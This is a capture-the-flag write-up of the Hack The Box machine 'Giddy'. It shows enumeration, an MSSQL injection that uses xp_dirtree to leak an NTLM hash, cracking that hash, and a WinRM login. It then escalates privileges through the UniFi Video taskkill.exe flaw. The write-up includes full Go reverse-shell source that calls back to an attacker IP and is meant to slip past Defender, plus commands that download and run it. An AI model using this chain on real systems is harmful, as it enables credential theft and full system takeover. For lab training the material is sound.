Giddy Writeup
13 June 2023 #CTF #HTB #box #medium #windowsEnumeration
nmap
$ sudo nmap -sC -sV 10.10.10.104
[...]
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_ssl-date: 2023-05-26T17:12:17+00:00; 0s from scanner time.
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Issuer: commonName=PowerShellWebAccessTestWebSite
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-06-16T21:28:55
| Not valid after: 2018-09-14T21:28:55
| MD5: 78a74af53b09c882a149f977cf8f1182
|_SHA-1: 8adc3379878af13f0154406a3eadd34569676a23
| tls-alpn:
| h2
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-05-26T17:12:17+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Giddy
| Issuer: commonName=Giddy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-25T17:04:21
| Not valid after: 2023-11-24T17:04:21
| MD5: 549d099fd6966911ef38796317a27d3c
|_SHA-1: a4757d19d08019825357db01a89ea75338dd61ef
| rdp-ntlm-info:
| Target_Name: GIDDY
| NetBIOS_Domain_Name: GIDDY
| NetBIOS_Computer_Name: GIDDY
| DNS_Domain_Name: Giddy
| DNS_Computer_Name: Giddy
| Product_Version: 10.0.14393
|_ System_Time: 2023-05-26T17:12:12+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[...]
HTTP
When accessing the website, we get a cute doggo pic:
If we download this image and run binwalk
on it, we get something seemingly interesting:
$ binwalk giddy.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
32909 0x808D MySQL MISAM compressed data file Version 2
Apparently, the signature for the MySQL MISAM file type is very short, so if you see it, chances are it's a false positive (don't waste your time like me).
Moving on, let's do a bit of directory bruteforcing:
$ gobuster dir -u http://10.10.10.104/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
[...]
/aspnet_client (Status: 301) [Size: 157] [--> http://10.10.10.104/aspnet_client/]
/. (Status: 200) [Size: 700]
/remote (Status: 302) [Size: 157] [--> /Remote/default.aspx?ReturnUrl=%2fremote]
/mvc (Status: 301) [Size: 147] [--> http://10.10.10.104/mvc/]
We don't care about /aspnet_client
, it's a default IIS directory and most likely empty.
On /remote
, there is a PowerShell Web Access endpoint:
We don't have any creds yet so it's not really useful for us.
On /mvc/
, there's a classic e-commerce web app:
Clinking on the links under "Product Name", we get a listing of products:
There is a parameter in the URL, appending a single quote ('
) produces an error:
This clearly indicates that this endpoint is vulnerable to SQL injection.
Foothold
We can use sqlmap
to dump the database, but it this case, there isn't anything useful in it. What we can do is try to use the xp_dirtree
stored procedure (in MSSQL) to force the account running the DB to authenticate to our box.
First launch responder
or the impacket's smbserver
:
$ impacket-smbserver public .
[...]
Then let's use a stacked query (with a ;
) to do our thing:
Payload: ;EXEC master..xp_dirtree "\\10.10.14.14\asdf\asdf"
(you can put anything for the share and file name, but make sure to put something).
We get immediately a hit on our box:
[...]
[*] Incoming connection (10.10.10.104,49704)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:3283842fd972b4631062d45a03fb4dc4:0101000000000000004e85da9090d9018255811ba4e101110000000001001000610061007900520047006b006f00430003001000610061007900520047006b006f00430002001000690063004f007900740068004f00750004001000690063004f007900740068004f00750007000800004e85da9090d901060004000200000008003000300000000000000000000000003000003c3f7e86f14b4ce08988c433a68b3b596943d9b0564e9c22bf6538bbfefc85790a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003400000000000000000000000000
Let's throw this to hashcat
:
$ hashcat hash.txt /usr/share/wordlists/rockyou.txt
[...]
STACY::GIDDY:4427fdd18fdb3583:9d3e6865[...]:xNnWo6272k7x
[...]
We can now login to the box with these creds. We could use the powershell web access thing, but it's so damn slow. Connect to WinRM directly instead with evil-winrm
:
$ evil-winrm -i 10.10.10.104 -u stacy -p xNnWo6272k7x
[...]
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Stacy\Documents>
Privesc
The first thing i like doing when getting access to a windows box is checking the powershell history. We can use this one-liner to display history files we have read access to:
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
In this case, we have something in the history for Stacy:
net stop unifivideoservice
$ExecutionContext.SessionState.LanguageMode
Stop-Service -Name Unifivideoservice -Force
Get-Service -Name Unifivideoservice
whoami
Get-Service -ServiceName UniFiVideoService
It seems like she was playing around with this UniFiVideoService
. After digging around the filesystem, we can find the directory for this service in C:\ProgramData\unifi-video
. We can get the version in C:\ProgramData\unifi-video\data\system.properties
:
*Evil-WinRM* PS C:\programdata\unifi-video\data> cat system.properties
# unifi-video v3.7.3
#Sat Jun 16 21:58:13 EDT 2018
is_default=false
uuid=e79d440a-62cd-4274-95c3-d746cbb3b817
# app.http.port = 7080
# app.https.port = 7443
[...]
There is a CVE for this version.
Upon start and stop of the service, it tries to load and execute the file at "C:\ProgramData\unifi-video\taskkill.exe". However this file does not exist in the application directory by default at all.
By copying an arbitrary "taskkill.exe" to "C:\ProgramData\unifi-video" as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as NT AUTHORITY/SYSTEM.
C:\ProgramData
is a world-writable directory, so C:\ProgramData\unifi-video
inherits these permissions by default.
If we use msfvenom
to generate a reverse shell executable, it would get flagged by Defender so we need something a bit more custom. One easy way is to write a very simple Golang reverse shell.
Let's first create the directory and module:
$ mkdir rev
$ cd rev
$ go mod init rev
go: creating new go.mod: module rev
The code looks like this:
package main
import (
"bufio"
"fmt"
"net"
"os/exec"
"strings"
)
func main() {
conn, _ := net.Dial("tcp", "10.10.14.14:443")
for {
cmd, _ := bufio.NewReader(conn).ReadString('\n')
out, err := exec.Command(strings.TrimSuffix(cmd, "\n")).Output()
if err != nil {
fmt.Fprintf(conn, "%s\n",err)
}
fmt.Fprintf(conn, "%s\n",out)
}
}
Cross-compiling with Go is very easy:
$ GOOS=windows GOARCH=amd64 go build -ldflags='-w -s'
-ldflags='-w -s'
is there to remove debug symbols and shrink the size of the binary.
We'll download the executable from our python webserver and stop the service to trigger the execution of the reverse shell:
*Evil-WinRM* PS C:\programdata\unifi-video> iwr http://10.10.14.14/rev.exe -o taskkill.exe
*Evil-WinRM* PS C:\programdata\unifi-video> sc.exe stop UniFiVideoService
SERVICE_NAME: UniFiVideoService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x2
WAIT_HINT : 0xbb8
After a few seconds, we get a hit on our nc
listener:
$ nc -lnvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.104.
Ncat: Connection from 10.10.10.104:49742.
whoami
nt authority\system
Key Takeaways
- MSSQL injection -> try
xp_dirtree
to steal DB account hash - Windows Defender is clueless